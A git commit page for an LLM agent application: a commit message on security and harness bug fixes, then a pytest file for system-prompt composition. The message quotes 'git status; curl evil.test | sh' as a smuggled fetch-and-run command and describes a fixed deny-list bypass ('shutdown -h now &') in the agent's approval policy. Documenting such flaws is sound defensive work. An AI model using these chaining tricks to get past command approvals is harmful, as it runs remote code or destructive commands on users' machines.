Jaroslav Beneš
7c51dc306d
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
480 lines
18 KiB
Python
480 lines
18 KiB
Python
"""The operational preamble, and how it sits beside the authored prompt."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import pytest
|
|
|
|
from lembas.db.models import Chat, Connection, Model, User
|
|
from lembas.security.passwords import hash_password
|
|
from lembas.services import chat as chat_service
|
|
from lembas.services import harness, prompts, settings_store
|
|
from lembas.services import tools as tools_service
|
|
from lembas.services.library import memories as memories_service
|
|
from lembas.services.library import skills as skills_service
|
|
|
|
|
|
@pytest.fixture
|
|
def owner(db):
|
|
user = User(name="Frodo", email="f@shire.test", password_hash=hash_password("x"))
|
|
db.add(user)
|
|
db.commit()
|
|
return user
|
|
|
|
|
|
def _tools(*names):
|
|
return [tools_service.REGISTRY[name].schema for name in names]
|
|
|
|
|
|
# --- Composition -------------------------------------------------------------
|
|
def test_no_tools_means_no_tool_guidance(db, owner):
|
|
"""The core fragments still go out -- a model with no tools has no clock
|
|
either, and telling it the date is not "tokens that say nothing". What it
|
|
must not get is instructions about tools it was never offered."""
|
|
text = harness.compose(db, owner, [])
|
|
assert "Today is" in text
|
|
assert "You have tools" not in text
|
|
assert "Look things up" not in text
|
|
assert harness.compose(db, owner, None) == text
|
|
|
|
|
|
def test_clearing_the_core_fragments_restores_an_empty_harness(db, owner):
|
|
"""The behaviour change is a default, not a rule: an administrator who wants
|
|
nothing sent to a tool-less model can still have exactly that."""
|
|
prompts.save(
|
|
db,
|
|
{f.key: "" for f in prompts.BUILTIN if f.group == prompts.GROUP_CORE},
|
|
)
|
|
assert harness.compose(db, owner, []) == ""
|
|
|
|
|
|
def test_only_the_guidance_for_offered_tools_appears(db, owner):
|
|
text = harness.compose(db, owner, _tools("web_search"))
|
|
assert "Look things up" in text
|
|
assert "You keep notes" not in text
|
|
assert "Skills are procedures" not in text
|
|
|
|
|
|
def test_a_custom_tools_guidance_appears_only_when_it_is_offered(db, owner):
|
|
"""The row supplies the default, and the fragment is gated on the tool's own
|
|
family -- which is why the registry had to stop being a module constant."""
|
|
from lembas.db.models import CustomTool
|
|
|
|
db.add(
|
|
CustomTool(
|
|
slug="weather",
|
|
name="Weather",
|
|
description="Look up the weather.",
|
|
url_template="https://api.test/{{city}}",
|
|
guidance="- Check the weather rather than guessing at it.",
|
|
)
|
|
)
|
|
db.commit()
|
|
|
|
offered = tools_service.registry(db)["weather"].schema
|
|
assert "Check the weather" in harness.compose(db, owner, [offered])
|
|
assert "Check the weather" not in harness.compose(db, owner, _tools("web_search"))
|
|
|
|
|
|
def test_the_memory_block_is_included_when_memory_is_offered(db, owner):
|
|
memories_service.add(db, owner=owner, content="Prefers metric units.")
|
|
text = harness.compose(db, owner, _tools("memory_add"))
|
|
assert "What you know about this person" in text
|
|
assert "Prefers metric units." in text
|
|
|
|
|
|
def test_memories_are_absent_without_the_memory_tool(db, owner):
|
|
"""A model not given the memory tool has no business being told them."""
|
|
memories_service.add(db, owner=owner, content="Prefers metric units.")
|
|
text = harness.compose(db, owner, _tools("web_search"))
|
|
assert "Prefers metric units." not in text
|
|
|
|
|
|
def test_the_skill_index_is_names_and_descriptions_only(db, owner):
|
|
skills_service.create(
|
|
db, owner=owner, name="weekly-report", description="When asked.", body="SECRET"
|
|
)
|
|
text = harness.compose(db, owner, _tools("skill_get"))
|
|
assert "weekly-report: When asked." in text
|
|
assert "SECRET" not in text
|
|
|
|
|
|
def test_an_empty_store_contributes_no_heading(db, owner):
|
|
"""And the guidance must not point at a heading that is not there: telling a
|
|
model to consult an absent section is a good way to make it invent one."""
|
|
text = harness.compose(db, owner, _tools("memory_add", "skill_get"))
|
|
assert "### What you know about this person" not in text
|
|
assert "### Skills available" not in text
|
|
assert "was remembered earlier" not in text
|
|
assert "You can remember durable facts" in text
|
|
|
|
|
|
def test_the_harness_is_capped(db, owner, monkeypatch):
|
|
monkeypatch.setattr(harness, "MAX_HARNESS_CHARS", 200)
|
|
for index in range(50):
|
|
skills_service.create(
|
|
db, owner=owner, name=f"skill-{index}", description="x" * 200, body="y"
|
|
)
|
|
assert len(harness.compose(db, owner, _tools("skill_get"))) <= 202
|
|
|
|
|
|
# --- Joining -----------------------------------------------------------------
|
|
def test_the_authored_prompt_comes_last():
|
|
"""It is closest to the conversation, and it is what the user actually
|
|
wrote."""
|
|
joined = harness.join("HARNESS", "AUTHORED")
|
|
assert joined.index("HARNESS") < joined.index("AUTHORED")
|
|
|
|
|
|
def test_either_half_alone_is_returned_unchanged():
|
|
assert harness.join("", "AUTHORED") == "AUTHORED"
|
|
assert harness.join("HARNESS", "") == "HARNESS"
|
|
assert harness.join("", "") == ""
|
|
|
|
|
|
# --- Through build_request ---------------------------------------------------
|
|
def _chat(db, owner, *, capabilities, model_prompt="", chat_prompt=""):
|
|
connection = Connection(name="c", base_url="http://h", api_key_encrypted="")
|
|
db.add(connection)
|
|
db.commit()
|
|
db.add(
|
|
Model(
|
|
connection_id=connection.id,
|
|
model_id="m",
|
|
capabilities_json=capabilities,
|
|
system_prompt=model_prompt,
|
|
)
|
|
)
|
|
db.commit()
|
|
chat = Chat(
|
|
user_id=owner.id, model_id="m", connection_id=connection.id, system_prompt=chat_prompt
|
|
)
|
|
db.add(chat)
|
|
db.commit()
|
|
return chat
|
|
|
|
|
|
def _system(body):
|
|
first = body["messages"][0] if body["messages"] else {}
|
|
return first.get("content", "") if first.get("role") == "system" else ""
|
|
|
|
|
|
def test_a_request_without_tools_carries_no_tool_guidance_and_no_tools_key(db, owner):
|
|
chat = _chat(db, owner, capabilities={})
|
|
body = chat_service.build_request(db, chat, tools=[], user=owner)
|
|
assert "tools" not in body
|
|
assert "You have tools" not in _system(body)
|
|
|
|
|
|
def test_the_harness_precedes_the_authored_prompt(db, owner):
|
|
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
|
|
chat = _chat(db, owner, capabilities={"tools": True}, chat_prompt="Speak as Gandalf.")
|
|
offered = tools_service.enabled_tools(db, chat, owner)
|
|
|
|
system = _system(chat_service.build_request(db, chat, tools=offered, user=owner))
|
|
assert system.index("How to work") < system.index("Speak as Gandalf.")
|
|
|
|
|
|
def test_precedence_between_the_authored_layers_is_untouched(db, owner):
|
|
"""The harness is a different axis. Exactly one authored layer still wins,
|
|
and it is still the most specific one."""
|
|
settings_store.update(db, {"system_prompt": "Instance."})
|
|
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
|
|
|
|
chat = _chat(
|
|
db, owner, capabilities={"tools": True}, model_prompt="Model.", chat_prompt="Chat."
|
|
)
|
|
offered = tools_service.enabled_tools(db, chat, owner)
|
|
system = _system(chat_service.build_request(db, chat, tools=offered, user=owner))
|
|
|
|
assert "Chat." in system
|
|
assert "Model." not in system
|
|
assert "Instance." not in system
|
|
# And the resolver on its own is unchanged.
|
|
assert chat_service.effective_system_prompt(db, chat) == "Chat."
|
|
|
|
|
|
def test_a_model_prompt_wins_when_the_chat_has_none(db, owner):
|
|
settings_store.update(db, {"system_prompt": "Instance."})
|
|
chat = _chat(db, owner, capabilities={}, model_prompt="Model.")
|
|
system = _system(chat_service.build_request(db, chat, user=owner))
|
|
assert system.endswith("Model.")
|
|
assert "Instance." not in system
|
|
assert chat_service.effective_system_prompt(db, chat) == "Model."
|
|
|
|
|
|
def test_the_seam_line_only_appears_when_there_is_something_to_hand_over_to(db, owner):
|
|
"""It introduces the authored prompt. With no authored prompt it would be
|
|
pointing at nothing, which is the failure the whole `requires` idea exists
|
|
to avoid."""
|
|
bare = _chat(db, owner, capabilities={})
|
|
assert "was written by whoever set up" not in _system(
|
|
chat_service.build_request(db, bare, user=owner)
|
|
)
|
|
|
|
authored = _chat(db, owner, capabilities={}, chat_prompt="Speak as Gandalf.")
|
|
assert "was written by whoever set up" in _system(
|
|
chat_service.build_request(db, authored, user=owner)
|
|
)
|
|
|
|
|
|
def test_an_administrators_wording_replaces_the_default(db, owner):
|
|
prompts.save(db, {"core.today": "The date is {{today}}, more or less."})
|
|
text = harness.compose(db, owner, [])
|
|
assert "more or less." in text
|
|
assert "Your training data stops well before this" not in text
|
|
|
|
|
|
def test_the_attached_files_are_named_and_explained(db, owner):
|
|
from lembas.db.models import Attachment
|
|
|
|
chat = _chat(db, owner, capabilities={})
|
|
db.add(
|
|
Attachment(
|
|
user_id=owner.id,
|
|
chat_id=chat.id,
|
|
filename="report.txt",
|
|
stored_name="x.txt",
|
|
media_type="text/plain",
|
|
size_bytes=10,
|
|
kind="text",
|
|
)
|
|
)
|
|
db.commit()
|
|
|
|
text = harness.compose(db, owner, [], chat)
|
|
assert "report.txt" in text
|
|
assert "<document name=" in text
|
|
|
|
|
|
def test_a_chat_with_no_attachments_says_nothing_about_documents(db, owner):
|
|
chat = _chat(db, owner, capabilities={})
|
|
assert "<document name=" not in harness.compose(db, owner, [], chat)
|
|
|
|
|
|
def test_the_tools_array_rides_along(db, owner):
|
|
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
|
|
chat = _chat(db, owner, capabilities={"tools": True})
|
|
offered = tools_service.enabled_tools(db, chat, owner)
|
|
body = chat_service.build_request(db, chat, tools=offered, user=owner)
|
|
assert body["tools"] == offered
|
|
|
|
|
|
# --- The project listing -----------------------------------------------------
|
|
# Injected from a cache that something else fills, because this module runs
|
|
# synchronously on the request path and an SFTP round trip here would hold a
|
|
# request open while somebody's machine thought about it.
|
|
def _agent_chat(db, owner):
|
|
from lembas.db.models import KIND_AGENT, SshProfile
|
|
|
|
settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
|
|
profile = SshProfile(
|
|
owner_id=owner.id,
|
|
name="Test box",
|
|
host="127.0.0.1",
|
|
port=22,
|
|
username="tester",
|
|
host_key="host key",
|
|
host_fingerprint="SHA256:x",
|
|
default_dir="/work",
|
|
)
|
|
db.add(profile)
|
|
db.commit()
|
|
chat = Chat(
|
|
user_id=owner.id,
|
|
kind=KIND_AGENT,
|
|
ssh_profile_id=profile.id,
|
|
project_dir="/work",
|
|
)
|
|
db.add(chat)
|
|
db.commit()
|
|
return chat, profile
|
|
|
|
|
|
def _agent_tools(db):
|
|
"""The agent tools as offered, which REGISTRY does not carry.
|
|
|
|
`REGISTRY` is built at import time and holds the built-ins alone; the agent
|
|
tools are listed by `registry(db)`, unbound to any chat. That is the same
|
|
lookup the harness does to map `shell_run` back to the `agent` family, and
|
|
the reason it exists at all.
|
|
"""
|
|
book = tools_service.registry(db)
|
|
return [book["shell_run"].schema]
|
|
|
|
|
|
def _cache(profile_id, paths):
|
|
import time
|
|
|
|
from lembas.services.agent import index as index_service
|
|
|
|
index_service._CACHE[(profile_id, "/work")] = index_service.ProjectIndex(
|
|
paths=tuple(paths), total=len(paths), source="git", built_at=time.monotonic()
|
|
)
|
|
|
|
|
|
def test_the_project_listing_reaches_the_model(db, owner):
|
|
chat, profile = _agent_chat(db, owner)
|
|
_cache(profile.id, ["README.md", "src/main.py"])
|
|
|
|
text = harness.compose(db, owner, _agent_tools(db), chat=chat)
|
|
|
|
assert "Files in /work" in text
|
|
assert "README.md" in text
|
|
|
|
|
|
def test_nothing_cached_means_no_section_at_all(db, owner):
|
|
"""Not an empty heading. `Fragment.requires` makes the whole thing vanish,
|
|
which is what lets the first reply in a new chat outrun the first walk
|
|
without saying anything strange."""
|
|
chat, _profile = _agent_chat(db, owner)
|
|
|
|
text = harness.compose(db, owner, _agent_tools(db), chat=chat)
|
|
|
|
assert "Files in" not in text
|
|
|
|
|
|
def test_a_budget_of_zero_keeps_the_listing_out_of_the_prompt(db, owner):
|
|
"""The listing is still built and the file picker still uses it. This is
|
|
the only way to say "index it, but do not spend context on it"."""
|
|
chat, profile = _agent_chat(db, owner)
|
|
_cache(profile.id, ["README.md"])
|
|
settings_store.update(db, {"index_chars": 0}, key=settings_store.AGENTS)
|
|
|
|
assert "Files in" not in harness.compose(db, owner, _agent_tools(db), chat=chat)
|
|
|
|
|
|
def test_switching_the_listing_off_keeps_it_out(db, owner):
|
|
chat, profile = _agent_chat(db, owner)
|
|
_cache(profile.id, ["README.md"])
|
|
settings_store.update(db, {"index_enabled": False}, key=settings_store.AGENTS)
|
|
|
|
assert "Files in" not in harness.compose(db, owner, _agent_tools(db), chat=chat)
|
|
|
|
|
|
def test_a_plain_chat_is_told_nothing_about_files(db, owner):
|
|
chat = Chat(user_id=owner.id)
|
|
db.add(chat)
|
|
db.commit()
|
|
|
|
assert "Files in" not in harness.compose(db, owner, _tools("web_search"), chat=chat)
|
|
|
|
|
|
# --- One round, or as many as it takes ----------------------------------------
|
|
def test_a_plain_chat_is_told_its_real_ceiling(db, owner):
|
|
"""The number it is actually given, not a constant -- a model told it has
|
|
five rounds and cut off after three has been lied to about its own budget."""
|
|
settings_store.update(db, {"max_chat_rounds": 3})
|
|
text = harness.compose(db, owner, _tools("web_search"))
|
|
|
|
assert "at most 3 rounds" in text
|
|
assert "Keep working until the task is actually done" not in text
|
|
|
|
|
|
def test_no_ceiling_means_no_round_budget_is_claimed(db, owner):
|
|
"""Zero is "no ceiling", and a fragment promising zero rounds would be worse
|
|
than none at all."""
|
|
settings_store.update(db, {"max_chat_rounds": 0})
|
|
text = harness.compose(db, owner, _tools("web_search"))
|
|
|
|
# `core.interjection` also mentions rounds, so this asserts on the budget
|
|
# sentence rather than on the word.
|
|
assert "at most" not in text
|
|
|
|
|
|
def test_an_agent_chat_is_told_to_keep_going_instead(db, owner):
|
|
"""The two cannot be one fragment with a number in it. A model told it has
|
|
a budget rations it; the step count is a runaway backstop, and rationing
|
|
against it is exactly the behaviour that stops a long piece of work
|
|
halfway."""
|
|
chat, _profile = _agent_chat(db, owner)
|
|
|
|
text = harness.compose(db, owner, _agent_tools(db), chat=chat)
|
|
|
|
assert "Keep working until the task is actually done" in text
|
|
assert "one round of tool calls" not in text
|
|
|
|
|
|
def test_the_fetch_guidance_appears_only_with_the_tool(db, owner):
|
|
assert "read one web page at a time" in harness.compose(db, owner, _tools("fetch"))
|
|
assert "read one web page at a time" not in harness.compose(db, owner, _tools("web_search"))
|
|
|
|
|
|
def test_the_background_guidance_appears_only_when_enabled(db, owner):
|
|
"""Gated on the feature, so an agent chat without background commands is not
|
|
told about a tool it does not have."""
|
|
from lembas.db.models import Chat, Connection, Model, SshProfile
|
|
|
|
owner.role = "admin" # agent tools need tools.agent, which admins pass
|
|
db.commit()
|
|
profile = SshProfile(
|
|
owner_id=owner.id, name="Box", host="127.0.0.1", port=22, username="t",
|
|
host_key="k", host_fingerprint="f", default_dir="/work",
|
|
)
|
|
connection = Connection(name="cbg", base_url="http://127.0.0.1:1", api_key_encrypted="")
|
|
db.add_all([profile, connection])
|
|
db.commit()
|
|
db.add(Model(connection_id=connection.id, model_id="mbg", capabilities_json={"tools": True}))
|
|
db.commit()
|
|
settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
|
|
chat = Chat(
|
|
user_id=owner.id, model_id="mbg", connection_id=connection.id, kind="agent",
|
|
ssh_profile_id=profile.id, project_dir="/work",
|
|
)
|
|
db.add(chat)
|
|
db.commit()
|
|
|
|
def _text():
|
|
offered = tools_service.resolve_tools(db, chat, owner).schemas
|
|
return harness.compose(db, owner, offered, chat)
|
|
|
|
settings_store.update(db, {"background_enabled": False}, key=settings_store.AGENTS)
|
|
assert "run in the background" not in _text()
|
|
|
|
settings_store.update(db, {"background_enabled": True}, key=settings_store.AGENTS)
|
|
assert "run in the background" in _text()
|
|
|
|
|
|
# --- The ceiling has to fit what the defaults already grant --------------------
|
|
def test_the_shipped_defaults_fit_under_the_ceiling(db, owner):
|
|
"""An agent chat's whole preamble, at the budgets this ships with.
|
|
|
|
It did not fit. The fragments alone are about 7,900 characters, and on top
|
|
of them `index_chars` grants a 2,000 character project listing and
|
|
`instructions_chars` a 4,000 character AGENTS.md -- both on by default. The
|
|
ceiling was 8,000, and `assemble` cuts the tail, which by fragment order is
|
|
the context worth having: the listing was severed mid-tree and
|
|
`context.agent_instructions` was dropped whole. So on a default install the
|
|
one path by which a project's own instructions reach a model did not.
|
|
"""
|
|
values = settings_store.agents(db)
|
|
# Every name the harness knows about, so a variable added later is covered
|
|
# here without anybody remembering to add it.
|
|
variables = dict.fromkeys(harness.context_variables(db, owner, [], None), "")
|
|
variables.update(
|
|
{
|
|
"today": "Monday 3 August 2026",
|
|
"instance_name": "LLeMbas",
|
|
"user_name": "Frodo",
|
|
"agent_target": "homeserver",
|
|
"agent_dir": "/srv/project",
|
|
"agent_mode": "You are in **Edit** mode.",
|
|
"tool_names": "shell_run, file_read, file_write, file_edit, file_list",
|
|
"background": "on",
|
|
"max_rounds": "200",
|
|
# Each at exactly the budget its own setting allows.
|
|
"project_files": "L" * int(values["index_chars"]),
|
|
"agent_instructions": "A" * int(values["instructions_chars"]),
|
|
"agent_instructions_file": "AGENTS.md",
|
|
"plan": "P" * 600,
|
|
"memories": "M" * 400,
|
|
}
|
|
)
|
|
|
|
out = harness.compose_from(
|
|
db, variables=variables, families=["agent"], has_tools=True, overrides={}
|
|
)
|
|
|
|
assert not out.endswith("…"), f"the preamble was truncated at {len(out):,} characters"
|
|
assert "A" * 100 in out, "the project's own instructions were cut off entirely"
|
|
assert "L" * 100 in out, "the project listing was cut off"
|